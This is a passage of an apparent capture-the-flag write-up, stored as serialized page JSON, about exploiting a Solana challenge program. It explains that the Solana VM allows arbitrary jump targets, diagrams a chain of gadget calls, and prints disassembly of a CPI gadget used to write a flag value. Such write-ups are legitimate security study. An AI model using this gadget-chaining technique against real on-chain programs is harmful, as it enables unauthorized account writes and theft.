",{"type":24,"tag":90,"props":45410,"children":45411},{"style":97},[45412],{"type":29,"value":6380},{"type":24,"tag":90,"props":45414,"children":45415},{"style":114},[45416],{"type":29,"value":779},{"type":24,"tag":90,"props":45418,"children":45419},{"class":92,"line":737},[45420,45424,45428,45432,45436,45440,45445,45449,45453,45457],{"type":24,"tag":90,"props":45421,"children":45422},{"style":114},[45423],{"type":29,"value":45378},{"type":24,"tag":90,"props":45425,"children":45426},{"style":120},[45427],{"type":29,"value":1211},{"type":24,"tag":90,"props":45429,"children":45430},{"style":108},[45431],{"type":29,"value":1622},{"type":24,"tag":90,"props":45433,"children":45434},{"style":114},[45435],{"type":29,"value":117},{"type":24,"tag":90,"props":45437,"children":45438},{"style":120},[45439],{"type":29,"value":983},{"type":24,"tag":90,"props":45441,"children":45442},{"style":136},[45443],{"type":29,"value":45444},"flag_pda_ai",{"type":24,"tag":90,"props":45446,"children":45447},{"style":120},[45448],{"type":29,"value":226},{"type":24,"tag":90,"props":45450,"children":45451},{"style":114},[45452],{"type":29,"value":45408},{"type":24,"tag":90,"props":45454,"children":45455},{"style":97},[45456],{"type":29,"value":6380},{"type":24,"tag":90,"props":45458,"children":45459},{"style":114},[45460],{"type":29,"value":779},{"type":24,"tag":90,"props":45462,"children":45463},{"class":92,"line":751},[45464],{"type":24,"tag":90,"props":45465,"children":45466},{"style":114},[45467],{"type":29,"value":45468}," ],\n",{"type":24,"tag":90,"props":45470,"children":45471},{"class":92,"line":782},[45472],{"type":24,"tag":90,"props":45473,"children":45474},{"style":114},[45475],{"type":29,"value":45476}," );\n",{"type":24,"tag":90,"props":45478,"children":45479},{"class":92,"line":791},[45480,45484],{"type":24,"tag":90,"props":45481,"children":45482},{"style":108},[45483],{"type":29,"value":42946},{"type":24,"tag":90,"props":45485,"children":45486},{"style":114},[45487],{"type":29,"value":680},{"type":24,"tag":90,"props":45489,"children":45490},{"class":92,"line":799},[45491,45495,45500],{"type":24,"tag":90,"props":45492,"children":45493},{"style":120},[45494],{"type":29,"value":5861},{"type":24,"tag":90,"props":45496,"children":45497},{"style":136},[45498],{"type":29,"value":45499},"instruction",{"type":24,"tag":90,"props":45501,"children":45502},{"style":114},[45503],{"type":29,"value":748},{"type":24,"tag":90,"props":45505,"children":45506},{"class":92,"line":807},[45507,45511],{"type":24,"tag":90,"props":45508,"children":45509},{"style":120},[45510],{"type":29,"value":5861},{"type":24,"tag":90,"props":45512,"children":45513},{"style":114},[45514],{"type":29,"value":45370},{"type":24,"tag":90,"props":45516,"children":45517},{"class":92,"line":821},[45518,45523,45527,45531],{"type":24,"tag":90,"props":45519,"children":45520},{"style":136},[45521],{"type":29,"value":45522}," user_ai",{"type":24,"tag":90,"props":45524,"children":45525},{"style":120},[45526],{"type":29,"value":226},{"type":24,"tag":90,"props":45528,"children":45529},{"style":108},[45530],{"type":29,"value":1923},{"type":24,"tag":90,"props":45532,"children":45533},{"style":114},[45534],{"type":29,"value":1384},{"type":24,"tag":90,"props":45536,"children":45537},{"class":92,"line":6278},[45538,45543,45547,45551],{"type":24,"tag":90,"props":45539,"children":45540},{"style":136},[45541],{"type":29,"value":45542}," flag_pda_ai",{"type":24,"tag":90,"props":45544,"children":45545},{"style":120},[45546],{"type":29,"value":226},{"type":24,"tag":90,"props":45548,"children":45549},{"style":108},[45550],{"type":29,"value":1923},{"type":24,"tag":90,"props":45552,"children":45553},{"style":114},[45554],{"type":29,"value":1384},{"type":24,"tag":90,"props":45556,"children":45557},{"class":92,"line":11420},[45558],{"type":24,"tag":90,"props":45559,"children":45560},{"style":114},[45561],{"type":29,"value":45468},{"type":24,"tag":90,"props":45563,"children":45564},{"class":92,"line":11438},[45565,45569,45573,45577,45581,45585,45589,45593],{"type":24,"tag":90,"props":45566,"children":45567},{"style":120},[45568],{"type":29,"value":5861},{"type":24,"tag":90,"props":45570,"children":45571},{"style":114},[45572],{"type":29,"value":719},{"type":24,"tag":90,"props":45574,"children":45575},{"style":120},[45576],{"type":29,"value":123},{"type":24,"tag":90,"props":45578,"children":45579},{"style":114},[45580],{"type":29,"value":719},{"type":24,"tag":90,"props":45582,"children":45583},{"style":1085},[45584],{"type":29,"value":44441},{"type":24,"tag":90,"props":45586,"children":45587},{"style":120},[45588],{"type":29,"value":226},{"type":24,"tag":90,"props":45590,"children":45591},{"style":108},[45592],{"type":29,"value":44450},{"type":24,"tag":90,"props":45594,"children":45595},{"style":114},[45596],{"type":29,"value":45597},"()]],\n",{"type":24,"tag":90,"props":45599,"children":45600},{"class":92,"line":11483},[45601,45605,45609],{"type":24,"tag":90,"props":45602,"children":45603},{"style":114},[45604],{"type":29,"value":6044},{"type":24,"tag":90,"props":45606,"children":45607},{"style":120},[45608],{"type":29,"value":714},{"type":24,"tag":90,"props":45610,"children":45611},{"style":114},[45612],{"type":29,"value":381},{"type":24,"tag":90,"props":45614,"children":45615},{"class":92,"line":11589},[45616],{"type":24,"tag":90,"props":45617,"children":45618},{"emptyLinePlaceholder":16},[45619],{"type":29,"value":245},{"type":24,"tag":90,"props":45621,"children":45622},{"class":92,"line":25306},[45623],{"type":24,"tag":90,"props":45624,"children":45625},{"style":252},[45626],{"type":29,"value":45627}," // Step 2: Write 0x4337 to the first 8 bytes of the account\n",{"type":24,"tag":90,"props":45629,"children":45630},{"class":92,"line":25341},[45631,45636,45640,45644,45648,45652,45656,45660,45664,45668,45672,45677,45681,45685,45690,45694,45698,45703],{"type":24,"tag":90,"props":45632,"children":45633},{"style":136},[45634],{"type":29,"value":45635}," flag_pda_ai",{"type":24,"tag":90,"props":45637,"children":45638},{"style":120},[45639],{"type":29,"value":226},{"type":24,"tag":90,"props":45641,"children":45642},{"style":108},[45643],{"type":29,"value":309},{"type":24,"tag":90,"props":45645,"children":45646},{"style":114},[45647],{"type":29,"value":314},{"type":24,"tag":90,"props":45649,"children":45650},{"style":120},[45651],{"type":29,"value":714},{"type":24,"tag":90,"props":45653,"children":45654},{"style":114},[45655],{"type":29,"value":719},{"type":24,"tag":90,"props":45657,"children":45658},{"style":120},[45659],{"type":29,"value":729},{"type":24,"tag":90,"props":45661,"children":45662},{"style":349},[45663],{"type":29,"value":352},{"type":24,"tag":90,"props":45665,"children":45666},{"style":114},[45667],{"type":29,"value":1914},{"type":24,"tag":90,"props":45669,"children":45670},{"style":120},[45671],{"type":29,"value":226},{"type":24,"tag":90,"props":45673,"children":45674},{"style":108},[45675],{"type":29,"value":45676},"copy_from_slice",{"type":24,"tag":90,"props":45678,"children":45679},{"style":114},[45680],{"type":29,"value":117},{"type":24,"tag":90,"props":45682,"children":45683},{"style":120},[45684],{"type":29,"value":123},{"type":24,"tag":90,"props":45686,"children":45687},{"style":349},[45688],{"type":29,"value":45689},"0x4337",{"type":24,"tag":90,"props":45691,"children":45692},{"style":146},[45693],{"type":29,"value":1580},{"type":24,"tag":90,"props":45695,"children":45696},{"style":120},[45697],{"type":29,"value":226},{"type":24,"tag":90,"props":45699,"children":45700},{"style":108},[45701],{"type":29,"value":45702},"to_le_bytes",{"type":24,"tag":90,"props":45704,"children":45705},{"style":114},[45706],{"type":29,"value":1928},{"type":24,"tag":90,"props":45708,"children":45709},{"class":92,"line":25349},[45710],{"type":24,"tag":90,"props":45711,"children":45712},{"emptyLinePlaceholder":16},[45713],{"type":29,"value":245},{"type":24,"tag":90,"props":45715,"children":45716},{"class":92,"line":25357},[45717,45721],{"type":24,"tag":90,"props":45718,"children":45719},{"style":146},[45720],{"type":29,"value":813},{"type":24,"tag":90,"props":45722,"children":45723},{"style":114},[45724],{"type":29,"value":818},{"type":24,"tag":90,"props":45726,"children":45727},{"class":92,"line":25366},[45728],{"type":24,"tag":90,"props":45729,"children":45730},{"style":114},[45731],{"type":29,"value":827},{"type":24,"tag":25,"props":45733,"children":45734},{},[45735],{"type":29,"value":45736},"To test this theory, we can execute the program above inside the test environment, and see if we can get the flag:",{"type":24,"tag":25,"props":45738,"children":45739},{},[45740],{"type":24,"tag":6301,"props":45741,"children":45744},{"alt":45742,"src":45743},"Screenshot","/posts/jumping-around-in-the-vm/screenshot.png",[],{"type":24,"tag":25,"props":45746,"children":45747},{},[45748],{"type":29,"value":45749},"It works! Now we \"just\" need to find a way to execute the program above, by leveraging the single Instruction call to the program. This is easier said than done. The next section will dive into the details of the Solana VM to understand how we can achieve this.",{"type":24,"tag":850,"props":45751,"children":45753},{"id":45752},"solution-implementation",[45754],{"type":29,"value":45755},"Solution Implementation",{"type":24,"tag":25,"props":45757,"children":45758},{},[45759,45761,45766],{"type":29,"value":45760},"Now that we know what we need to do, let's look at how we can actually do it. We have to code the above program, by chaining together multiple ",{"type":24,"tag":32,"props":45762,"children":45764},{"className":45763},[],[45765],{"type":29,"value":37497},{"type":29,"value":45767}," invocations:",{"type":24,"tag":80,"props":45769,"children":45773},{"className":45770,"code":45771,"language":45772,"meta":7,"style":7},"language-mermaid shiki shiki-themes slack-dark","graph LR\n A[0: entrypoint] --> B[1: process_instruction]\n B --> C[2: process]\n C --> D[3: gadget1]\n C --> E[3: process]\n E --> F[4: gadget2]\n E --> G[...]\n","mermaid",[45774],{"type":24,"tag":32,"props":45775,"children":45776},{"__ignoreMap":7},[45777,45785,45793,45801,45809,45817,45825],{"type":24,"tag":90,"props":45778,"children":45779},{"class":92,"line":93},[45780],{"type":24,"tag":90,"props":45781,"children":45782},{},[45783],{"type":29,"value":45784},"graph LR\n",{"type":24,"tag":90,"props":45786,"children":45787},{"class":92,"line":200},[45788],{"type":24,"tag":90,"props":45789,"children":45790},{},[45791],{"type":29,"value":45792}," A[0: entrypoint] --> B[1: process_instruction]\n",{"type":24,"tag":90,"props":45794,"children":45795},{"class":92,"line":239},[45796],{"type":24,"tag":90,"props":45797,"children":45798},{},[45799],{"type":29,"value":45800}," B --> C[2: process]\n",{"type":24,"tag":90,"props":45802,"children":45803},{"class":92,"line":248},[45804],{"type":24,"tag":90,"props":45805,"children":45806},{},[45807],{"type":29,"value":45808}," C --> D[3: gadget1]\n",{"type":24,"tag":90,"props":45810,"children":45811},{"class":92,"line":258},[45812],{"type":24,"tag":90,"props":45813,"children":45814},{},[45815],{"type":29,"value":45816}," C --> E[3: process]\n",{"type":24,"tag":90,"props":45818,"children":45819},{"class":92,"line":272},[45820],{"type":24,"tag":90,"props":45821,"children":45822},{},[45823],{"type":29,"value":45824}," E --> F[4: gadget2]\n",{"type":24,"tag":90,"props":45826,"children":45827},{"class":92,"line":281},[45828],{"type":24,"tag":90,"props":45829,"children":45830},{},[45831],{"type":29,"value":45832}," E --> G[...]\n",{"type":24,"tag":25,"props":45834,"children":45835},{},[45836],{"type":29,"value":45837},"What are those gadgets? The Solana VM does not enforce that the target of a jump is a valid one, meaning that it's possible to jump to arbitrary addresses!",{"type":24,"tag":25,"props":45839,"children":45840},{},[45841,45843,45849],{"type":29,"value":45842},"To mimic the execution of our solution, we need a gadget that lets us CPI into system_program, with parameters we control. How do we obtain those? We can use ",{"type":24,"tag":69,"props":45844,"children":45846},{"href":42304,"rel":45845},[73],[45847],{"type":29,"value":45848},"Binary Ninja",{"type":29,"value":45850}," to find a suitable gadget for this.",{"type":24,"tag":25,"props":45852,"children":45853},{},[45854,45856,45863],{"type":29,"value":45855},"Before throwing the on-chain program to binja, it's useful to find a way to get symbols for it. One solution is to patch the cargo-build-sbf command to ",{"type":24,"tag":69,"props":45857,"children":45860},{"href":45858,"rel":45859},"https://github.com/solana-labs/solana/blob/4ee5078e5ffdfff36d3f7920217788e2892c1a85/sdk/cargo-build-sbf/src/main.rs#L789",[73],[45861],{"type":29,"value":45862},"skip the strip pass",{"type":29,"value":226},{"type":24,"tag":1019,"props":45865,"children":45867},{"id":45866},"cpi-gadget",[45868],{"type":29,"value":45869},"CPI Gadget",{"type":24,"tag":25,"props":45871,"children":45872},{},[45873,45875,45880,45882,45889,45891,45897],{"type":29,"value":45874},"Looking at the program source, one idea is to look for the cpi gadget around the ",{"type":24,"tag":32,"props":45876,"children":45878},{"className":45877},[],[45879],{"type":29,"value":40112},{"type":29,"value":45881}," function. This function calls into the solana sdk's function ",{"type":24,"tag":69,"props":45883,"children":45886},{"href":45884,"rel":45885},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L295-L310",[73],[45887],{"type":29,"value":45888},"invoke_signed_unchecked",{"type":29,"value":45890},", yielding a powerful gadget at the address ",{"type":24,"tag":32,"props":45892,"children":45894},{"className":45893},[],[45895],{"type":29,"value":45896},"0x100001ba8",{"type":29,"value":226},{"type":24,"tag":80,"props":45899,"children":45901},{"className":82,"code":45900,"language":84,"meta":7,"style":7},"solana_program::program::invoke_signed_unchecked\n100001ba8 79a278ff00000000 ldxdw r2, [r10-136] {var_88}\n100001bb0 79a380ff00000000 ldxdw r3, [r10-128] {var_80}\n100001bb8 79a468ff00000000 ldxdw r4, [r10-152] {var_98}\n100001bc0 79a570ff00000000 ldxdw r5, [r10-144] {var_90}\n100001bc8 8520000020100000 call sol_invoke_signed_rust\n100001bd0 5500040000000000 jne \u003C+4> r0, 0x0\n\n100001bd8 b701000018000000 mov r1, 0x18\n100001be0 79a288ff00000000 ldxdw r2, [r10-120] {var_78}\n100001be8 6312000000000000 stxw [r2-0], r1 {0x18}\n100001bf0 0500030000000000 ja \u003C+3>\n\n100001bf8 79a188ff00000000 ldxdw r1, [r10-120] {var_78}\n100001c00 bf02000000000000 mov r2, r0\n100001c08 8510000075000000 call _ZN94_$LT$solana_program...$u64$GT$$GT$4from17ha0d289b72861b06dE\n\n100001c10 79a2b8ff00000000 ldxdw r2, [r10-72] {var_48}\n100001c18 1502040000000000 jeq \u003C+4> r2, 0x0\n\n100001c20 2702000022000000 mul r2, 0x22\n100001c28 79a1b0ff00000000 ldxdw r1, [r10-80] {var_50}\n100001c30 b703000001000000 mov r3, 0x1\n100001c38 8510000003feffff call __rust_dealloc\n\n100001c40 79a2d0ff00000000 ldxdw r2, [r10-48] {var_30}\n100001c48 1502030000000000 jeq \u003C+3> r2, 0x0\n\n100001c50 79a1c8ff00000000 ldxdw r1, [r10-56] {var_38}\n100001c58 b703000001000000 mov r3, 0x1\n100001c60 85100000fefdffff call __rust_dealloc\n\n100001c68 9500000000000000 exit {__return_addr}\n",[45902],{"type":24,"tag":32,"props":45903,"children":45904},{"__ignoreMap":7},[45905,45930,45986,46037,46089,46141,46164,46212,46219,46251,46302,46360,46394,46401,46450,46480,46555,46562,46613,46659,46666,46697,46748,46778,46800,46807,46858,46903,46910,46961,46989,47010,47017],{"type":24,"tag":90,"props":45906,"children":45907},{"class":92,"line":93},[45908,45912,45916,45921,45925],{"type":24,"tag":90,"props":45909,"children":45910},{"style":114},[45911],{"type":29,"value":52},{"type":24,"tag":90,"props":45913,"children":45914},{"style":120},[45915],{"type":29,"value":1211},{"type":24,"tag":90,"props":45917,"children":45918},{"style":114},[45919],{"type":29,"value":45920},"program",{"type":24,"tag":90,"props":45922,"children":45923},{"style":120},[45924],{"type":29,"value":1211},{"type":24,"tag":90,"props":45926,"children":45927},{"style":136},[45928],{"type":29,"value":45929},"invoke_signed_unchecked\n",{"type":24,"tag":90,"props":45931,"children":45932},{"class":92,"line":200},[45933,45938,45943,45948,45953,45958,45963,45967,45972,45977,45982],{"type":24,"tag":90,"props":45934,"children":45935},{"style":136},[45936],{"type":29,"value":45937},"100001ba8",{"type":24,"tag":90,"props":45939,"children":45940},{"style":136},[45941],{"type":29,"value":45942}," 79a278ff00000000",{"type":24,"tag":90,"props":45944,"children":45945},{"style":136},[45946],{"type":29,"value":45947}," ldxdw",{"type":24,"tag":90,"props":45949,"children":45950},{"style":136},[45951],{"type":29,"value":45952}," r2",{"type":24,"tag":90,"props":45954,"children":45955},{"style":114},[45956],{"type":29,"value":45957},", [",{"type":24,"tag":90,"props":45959,"children":45960},{"style":136},[45961],{"type":29,"value":45962},"r10",{"type":24,"tag":90,"props":45964,"children":45965},{"style":120},[45966],{"type":29,"value":346},{"type":24,"tag":90,"props":45968,"children":45969},{"style":349},[45970],{"type":29,"value":45971},"136",{"type":24,"tag":90,"props":45973,"children":45974},{"style":114},[45975],{"type":29,"value":45976},"] {",{"type":24,"tag":90,"props":45978,"children":45979},{"style":136},[45980],{"type":29,"value":45981},"var_88",{"type":24,"tag":90,"props":45983,"children":45984},{"style":114},[45985],{"type":29,"value":827},{"type":24,"tag":90,"props":45987,"children":45988},{"class":92,"line":239},[45989,45994,45999,46003,46008,46012,46016,46020,46024,46028,46033],{"type":24,"tag":90,"props":45990,"children":45991},{"style":136},[45992],{"type":29,"value":45993},"100001bb0",{"type":24,"tag":90,"props":45995,"children":45996},{"style":136},[45997],{"type":29,"value":45998}," 79a380ff00000000",{"type":24,"tag":90,"props":46000,"children":46001},{"style":136},[46002],{"type":29,"value":45947},{"type":24,"tag":90,"props":46004,"children":46005},{"style":136},[46006],{"type":29,"value":46007}," r3",{"type":24,"tag":90,"props":46009,"children":46010},{"style":114},[46011],{"type":29,"value":45957},{"type":24,"tag":90,"props":46013,"children":46014},{"style":136},[46015],{"type":29,"value":45962},{"type":24,"tag":90,"props":46017,"children":46018},{"style":120},[46019],{"type":29,"value":346},{"type":24,"tag":90,"props":46021,"children":46022},{"style":349},[46023],{"type":29,"value":31659},{"type":24,"tag":90,"props":46025,"children":46026},{"style":114},[46027],{"type":29,"value":45976},{"type":24,"tag":90,"props":46029,"children":46030},{"style":136},[46031],{"type":29,"value":46032},"var_80",{"type":24,"tag":90,"props":46034,"children":46035},{"style":114},[46036],{"type":29,"value":827},{"type":24,"tag":90,"props":46038,"children":46039},{"class":92,"line":248},[46040,46045,46050,46054,46059,46063,46067,46071,46076,46080,46085],{"type":24,"tag":90,"props":46041,"children":46042},{"style":136},[46043],{"type":29,"value":46044},"100001bb8",{"type":24,"tag":90,"props":46046,"children":46047},{"style":136},[46048],{"type":29,"value":46049}," 79a468ff00000000",{"type":24,"tag":90,"props":46051,"children":46052},{"style":136},[46053],{"type":29,"value":45947},{"type":24,"tag":90,"props":46055,"children":46056},{"style":136},[46057],{"type":29,"value":46058}," r4",{"type":24,"tag":90,"props":46060,"children":46061},{"style":114},[46062],{"type":29,"value":45957},{"type":24,"tag":90,"props":46064,"children":46065},{"style":136},[46066],{"type":29,"value":45962},{"type":24,"tag":90,"props":46068,"children":46069},{"style":120},[46070],{"type":29,"value":346},{"type":24,"tag":90,"props":46072,"children":46073},{"style":349},[46074],{"type":29,"value":46075},"152",{"type":24,"tag":90,"props":46077,"children":46078},{"style":114},[46079],{"type":29,"value":45976},{"type":24,"tag":90,"props":46081,"children":46082},{"style":136},[46083],{"type":29,"value":46084},"var_98",{"type":24,"tag":90,"props":46086,"children":46087},{"style":114},[46088],{"type":29,"value":827},{"type":24,"tag":90,"props":46090,"children":46091},{"class":92,"line":258},[46092,46097,46102,46106,46111,46115,46119,46123,46128,46132,46137],{"type":24,"tag":90,"props":46093,"children":46094},{"style":136},[46095],{"type":29,"value":46096},"100001bc0",{"type":24,"tag":90,"props":46098,"children":46099},{"style":136},[46100],{"type":29,"value":46101}," 79a570ff00000000",{"type":24,"tag":90,"props":46103,"children":46104},{"style":136},[46105],{"type":29,"value":45947},{"type":24,"tag":90,"props":46107,"children":46108},{"style":136},[46109],{"type":29,"value":46110}," r5",{"type":24,"tag":90,"props":46112,"children":46113},{"style":114},[46114],{"type":29,"value":45957},{"type":24,"tag":90,"props":46116,"children":46117},{"style":136},[46118],{"type":29,"value":45962},{"type":24,"tag":90,"props":46120,"children":46121},{"style":120},[46122],{"type":29,"value":346},{"type":24,"tag":90,"props":46124,"children":46125},{"style":349},[46126],{"type":29,"value":46127},"144",{"type":24,"tag":90,"props":46129,"children":46130},{"style":114},[46131],{"type":29,"value":45976},{"type":24,"tag":90,"props":46133,"children":46134},{"style":136},[46135],{"type":29,"value":46136},"var_90",{"type":24,"tag":90,"props":46138,"children":46139},{"style":114},[46140],{"type":29,"value":827},{"type":24,"tag":90,"props":46142,"children":46143},{"class":92,"line":272},[46144,46149,46154,46159],{"type":24,"tag":90,"props":46145,"children":46146},{"style":136},[46147],{"type":29,"value":46148},"100001bc8",{"type":24,"tag":90,"props":46150,"children":46151},{"style":349},[46152],{"type":29,"value":46153}," 8520000020100000",{"type":24,"tag":90,"props":46155,"children":46156},{"style":136},[46157],{"type":29,"value":46158}," call",{"type":24,"tag":90,"props":46160,"children":46161},{"style":136},[46162],{"type":29,"value":46163}," sol_invoke_signed_rust\n",{"type":24,"tag":90,"props":46165,"children":46166},{"class":92,"line":281},[46167,46172,46177,46182,46186,46190,46194,46198,46203,46207],{"type":24,"tag":90,"props":46168,"children":46169},{"style":136},[46170],{"type":29,"value":46171},"100001bd0",{"type":24,"tag":90,"props":46173,"children":46174},{"style":349},[46175],{"type":29,"value":46176}," 5500040000000000",{"type":24,"tag":90,"props":46178,"children":46179},{"style":136},[46180],{"type":29,"value":46181}," jne",{"type":24,"tag":90,"props":46183,"children":46184},{"style":114},[46185],{"type":29,"value":11095},{"type":24,"tag":90,"props":46187,"children":46188},{"style":120},[46189],{"type":29,"value":6767},{"type":24,"tag":90,"props":46191,"children":46192},{"style":349},[46193],{"type":29,"value":4051},{"type":24,"tag":90,"props":46195,"children":46196},{"style":114},[46197],{"type":29,"value":8207},{"type":24,"tag":90,"props":46199,"children":46200},{"style":136},[46201],{"type":29,"value":46202},"r0",{"type":24,"tag":90,"props":46204,"children":46205},{"style":114},[46206],{"type":29,"value":133},{"type":24,"tag":90,"props":46208,"children":46209},{"style":349},[46210],{"type":29,"value":46211},"0x0\n",{"type":24,"tag":90,"props":46213,"children":46214},{"class":92,"line":384},[46215],{"type":24,"tag":90,"props":46216,"children":46217},{"emptyLinePlaceholder":16},[46218],{"type":29,"value":245},{"type":24,"tag":90,"props":46220,"children":46221},{"class":92,"line":420},[46222,46227,46232,46237,46242,46246],{"type":24,"tag":90,"props":46223,"children":46224},{"style":136},[46225],{"type":29,"value":46226},"100001bd8",{"type":24,"tag":90,"props":46228,"children":46229},{"style":136},[46230],{"type":29,"value":46231}," b701000018000000",{"type":24,"tag":90,"props":46233,"children":46234},{"style":136},[46235],{"type":29,"value":46236}," mov",{"type":24,"tag":90,"props":46238,"children":46239},{"style":136},[46240],{"type":29,"value":46241}," r1",{"type":24,"tag":90,"props":46243,"children":46244},{"style":114},[46245],{"type":29,"value":133},{"type":24,"tag":90,"props":46247,"children":46248},{"style":349},[46249],{"type":29,"value":46250},"0x18\n",{"type":24,"tag":90,"props":46252,"children":46253},{"class":92,"line":428},[46254,46259,46264,46268,46272,46276,46280,46284,46289,46293,46298],{"type":24,"tag":90,"props":46255,"children":46256},{"style":136},[46257],{"type":29,"value":46258},"100001be0",{"type":24,"tag":90,"props":46260,"children":46261},{"style":136},[46262],{"type":29,"value":46263}," 79a288ff00000000",{"type":24,"tag":90,"props":46265,"children":46266},{"style":136},[46267],{"type":29,"value":45947},{"type":24,"tag":90,"props":46269,"children":46270},{"style":136},[46271],{"type":29,"value":45952},{"type":24,"tag":90,"props":46273,"children":46274},{"style":114},[46275],{"type":29,"value":45957},{"type":24,"tag":90,"props":46277,"children":46278},{"style":136},[46279],{"type":29,"value":45962},{"type":24,"tag":90,"props":46281,"children":46282},{"style":120},[46283],{"type":29,"value":346},{"type":24,"tag":90,"props":46285,"children":46286},{"style":349},[46287],{"type":29,"value":46288},"120",{"type":24,"tag":90,"props":46290,"children":46291},{"style":114},[46292],{"type":29,"value":45976},{"type":24,"tag":90,"props":46294,"children":46295},{"style":136},[46296],{"type":29,"value":46297},"var_78",{"type":24,"tag":90,"props":46299,"children":46300},{"style":114},[46301],{"type":29,"value":827},{"type":24,"tag":90,"props":46303,"children":46304},{"class":92,"line":437},[46305,46310,46315,46320,46324,46329,46333,46337,46341,46346,46351,46356],{"type":24,"tag":90,"props":46306,"children":46307},{"style":136},[46308],{"type":29,"value":46309},"100001be8",{"type":24,"tag":90,"props":46311,"children":46312},{"style":349},[46313],{"type":29,"value":46314}," 6312000000000000",{"type":24,"tag":90,"props":46316,"children":46317},{"style":136},[46318],{"type":29,"value":46319}," stxw",{"type":24,"tag":90,"props":46321,"children":46322},{"style":114},[46323],{"type":29,"value":24829},{"type":24,"tag":90,"props":46325,"children":46326},{"style":136},[46327],{"type":29,"value":46328},"r2",{"type":24,"tag":90,"props":46330,"children":46331},{"style":120},[46332],{"type":29,"value":346},{"type":24,"tag":90,"props":46334,"children":46335},{"style":349},[46336],{"type":29,"value":6408},{"type":24,"tag":90,"props":46338,"children":46339},{"style":114},[46340],{"type":29,"value":24857},{"type":24,"tag":90,"props":46342,"children":46343},{"style":136},[46344],{"type":29,"value":46345},"r1",{"type":24,"tag":90,"props":46347,"children":46348},{"style":114},[46349],{"type":29,"value":46350}," {",{"type":24,"tag":90,"props":46352,"children":46353},{"style":349},[46354],{"type":29,"value":46355},"0x18",{"type":24,"tag":90,"props":46357,"children":46358},{"style":114},[46359],{"type":29,"value":827},{"type":24,"tag":90,"props":46361,"children":46362},{"class":92,"line":574},[46363,46368,46373,46378,46382,46386,46390],{"type":24,"tag":90,"props":46364,"children":46365},{"style":136},[46366],{"type":29,"value":46367},"100001bf0",{"type":24,"tag":90,"props":46369,"children":46370},{"style":349},[46371],{"type":29,"value":46372}," 0500030000000000",{"type":24,"tag":90,"props":46374,"children":46375},{"style":136},[46376],{"type":29,"value":46377}," ja",{"type":24,"tag":90,"props":46379,"children":46380},{"style":114},[46381],{"type":29,"value":11095},{"type":24,"tag":90,"props":46383,"children":46384},{"style":120},[46385],{"type":29,"value":6767},{"type":24,"tag":90,"props":46387,"children":46388},{"style":349},[46389],{"type":29,"value":3817},{"type":24,"tag":90,"props":46391,"children":46392},{"style":114},[46393],{"type":29,"value":8377},{"type":24,"tag":90,"props":46395,"children":46396},{"class":92,"line":606},[46397],{"type":24,"tag":90,"props":46398,"children":46399},{"emptyLinePlaceholder":16},[46400],{"type":29,"value":245},{"type":24,"tag":90,"props":46402,"children":46403},{"class":92,"line":615},[46404,46409,46414,46418,46422,46426,46430,46434,46438,46442,46446],{"type":24,"tag":90,"props":46405,"children":46406},{"style":136},[46407],{"type":29,"value":46408},"100001bf8",{"type":24,"tag":90,"props":46410,"children":46411},{"style":136},[46412],{"type":29,"value":46413}," 79a188ff00000000",{"type":24,"tag":90,"props":46415,"children":46416},{"style":136},[46417],{"type":29,"value":45947},{"type":24,"tag":90,"props":46419,"children":46420},{"style":136},[46421],{"type":29,"value":46241},{"type":24,"tag":90,"props":46423,"children":46424},{"style":114},[46425],{"type":29,"value":45957},{"type":24,"tag":90,"props":46427,"children":46428},{"style":136},[46429],{"type":29,"value":45962},{"type":24,"tag":90,"props":46431,"children":46432},{"style":120},[46433],{"type":29,"value":346},{"type":24,"tag":90,"props":46435,"children":46436},{"style":349},[46437],{"type":29,"value":46288},{"type":24,"tag":90,"props":46439,"children":46440},{"style":114},[46441],{"type":29,"value":45976},{"type":24,"tag":90,"props":46443,"children":46444},{"style":136},[46445],{"type":29,"value":46297},{"type":24,"tag":90,"props":46447,"children":46448},{"style":114},[46449],{"type":29,"value":827},{"type":24,"tag":90,"props":46451,"children":46452},{"class":92,"line":623},[46453,46458,46463,46467,46471,46475],{"type":24,"tag":90,"props":46454,"children":46455},{"style":136},[46456],{"type":29,"value":46457},"100001c00",{"type":24,"tag":90,"props":46459,"children":46460},{"style":136},[46461],{"type":29,"value":46462}," bf02000000000000",{"type":24,"tag":90,"props":46464,"children":46465},{"style":136},[46466],{"type":29,"value":46236},{"type":24,"tag":90,"props":46468,"children":46469},{"style":136},[46470],{"type":29,"value":45952},{"type":24,"tag":90,"props":46472,"children":46473},{"style":114},[46474],{"type":29,"value":133},{"type":24,"tag":90,"props":46476,"children":46477},{"style":136},[46478],{"type":29,"value":46479},"r0\n",{"type":24,"tag":90,"props":46481,"children":46482},{"class":92,"line":632},[46483,46488,46493,46497,46502,46506,46511,46515,46519,46524,46528,46532,46537,46542,46546,46550],{"type":24,"tag":90,"props":46484,"children":46485},{"style":136},[46486],{"type":29,"value":46487},"100001c08",{"type":24,"tag":90,"props":46489,"children":46490},{"style":349},[46491],{"type":29,"value":46492}," 8510000075000000",{"type":24,"tag":90,"props":46494,"children":46495},{"style":136},[46496],{"type":29,"value":46158},{"type":24,"tag":90,"props":46498,"children":46499},{"style":146},[46500],{"type":29,"value":46501}," _ZN94_",{"type":24,"tag":90,"props":46503,"children":46504},{"style":120},[46505],{"type":29,"value":1201},{"type":24,"tag":90,"props":46507,"children":46508},{"style":146},[46509],{"type":29,"value":46510},"LT",{"type":24,"tag":90,"props":46512,"children":46513},{"style":120},[46514],{"type":29,"value":1201},{"type":24,"tag":90,"props":46516,"children":46517},{"style":136},[46518],{"type":29,"value":52},{"type":24,"tag":90,"props":46520,"children":46521},{"style":120},[46522],{"type":29,"value":46523},"...$",{"type":24,"tag":90,"props":46525,"children":46526},{"style":136},[46527],{"type":29,"value":1580},{"type":24,"tag":90,"props":46529,"children":46530},{"style":120},[46531],{"type":29,"value":1201},{"type":24,"tag":90,"props":46533,"children":46534},{"style":146},[46535],{"type":29,"value":46536},"GT",{"type":24,"tag":90,"props":46538,"children":46539},{"style":120},[46540],{"type":29,"value":46541},"$$",{"type":24,"tag":90,"props":46543,"children":46544},{"style":146},[46545],{"type":29,"value":46536},{"type":24,"tag":90,"props":46547,"children":46548},{"style":120},[46549],{"type":29,"value":1201},{"type":24,"tag":90,"props":46551,"children":46552},{"style":114},[46553],{"type":29,"value":46554},"4from17ha0d289b72861b06dE\n",{"type":24,"tag":90,"props":46556,"children":46557},{"class":92,"line":669},[46558],{"type":24,"tag":90,"props":46559,"children":46560},{"emptyLinePlaceholder":16},[46561],{"type":29,"value":245},{"type":24,"tag":90,"props":46563,"children":46564},{"